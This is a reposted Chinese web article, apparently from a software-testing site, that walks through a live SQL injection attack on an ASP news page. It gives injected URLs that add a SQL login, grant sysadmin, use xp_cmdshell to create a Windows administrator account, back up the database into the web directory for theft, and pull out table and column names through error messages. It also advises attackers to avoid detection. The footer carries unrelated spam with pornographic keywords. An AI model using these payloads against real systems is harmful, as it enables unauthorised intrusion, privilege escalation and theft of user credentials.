• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    SQL注入實戰---利用“dbo”獲得SQL管理權限和系統權限

    發布: 2008-8-04 10:25 | 作者: 網絡轉載 | 來源: 測試時代采編 | 查看: 43次 | 進入軟件測試論壇討論

    領測軟件測試網

    在一個供求信息發布的網站上測試了一下,頁面http://www.xxx.com/new/new.asp?id=49

    我做了如下測試:(1) http://www.xxx.com/new/new.asp?id=49’

    Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14
    [Microsoft][ODBC Microsoft Access Driver] 字符串的語法錯誤
    在查詢表達式 'ID=49'' 中。
    /new.asp,行36

    (2) http://www.xxx.com/new/new.asp?id=49 and 1=1
    (正常返回頁面)

    (3) http://www.xxx.com/new/new.asp?id=49 and 1=2
    Microsoft OLE DB Provider for ODBC Drivers 錯誤 '800a0bcd'
    BOF 或 EOF 中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
    /new.asp,行42

    注:上面的測試已經可以看出有SQL注入的機會,我們用下面一個句子來判斷他數據庫類型和登陸身份。
    Http://www.xxx.com/new/new.asp?id=49 and user>0
    Microsoft OLE DB Provider for ODBC Drivers 錯誤 '800a0bcd'
    將nvarchar值 ”dbo” 轉換數據類型為 int 的列時發生語法錯誤
    /new.asp,行42
    注:如果顯示“dbo” 轉換數據類型為 int 的列時發生語法錯誤 那么就可以用我下面介紹的方法來獲得系統管理權限,如果是“abc” 轉換數據類型為 int 的列時發生語法錯誤 那么就用不能用我下面的介紹來獲得系統權限了。

    獲得以上信息后,就可以提交以下URL來一步一步的獲得SQL管理員權限和系統權限了。

    (1) http://www.xxx.com/new/new.asp?id=49;exec
    aster.dbo.sp_addlogin fmzm;--
    添加SQL用戶

    (2) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
    設置SQL帳號FMZM 的密碼為 FMZM

    (3) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

    提升權限:加FMZM進sysadmin管理組(有時候會不成功,就常識下面的句子
    ;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 為什么會這樣,我也不清清楚,我就遇到了?栽 。。。)

    (4) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
    建立一個系統用FMZM 并設置其密碼為FMZM
    (注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 這些很關鍵,如果不加這些,你建立的用戶很有可能無法登陸,這些是啟用你的帳號,并且使密碼永不過期的一些相關設置。)

    (5) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

    把帳號FMZM加入到管理員組

    OK,到此為止,已經得到了SQL管理權限和系統權限了,還有什么不能做的呢?把上面的句子變個形 開個TELNET,或者用SQL連接器去連接,隨便你怎么整了,記得別暴露自己哦 :)目前有些好的IDS已經開始監視xp_cmdshell這些關鍵字了.

    附:(1) http://Site/url.asp?id=1 ;;and db_name()>0

    前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。

    (2) http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

    這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

       (3) http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

    sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲?還是可以
    自己考慮下。

    (4) http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

    從(3)拿到表名后,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    TAG: sql SQL Sql 權限 實戰 系統 dbo


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>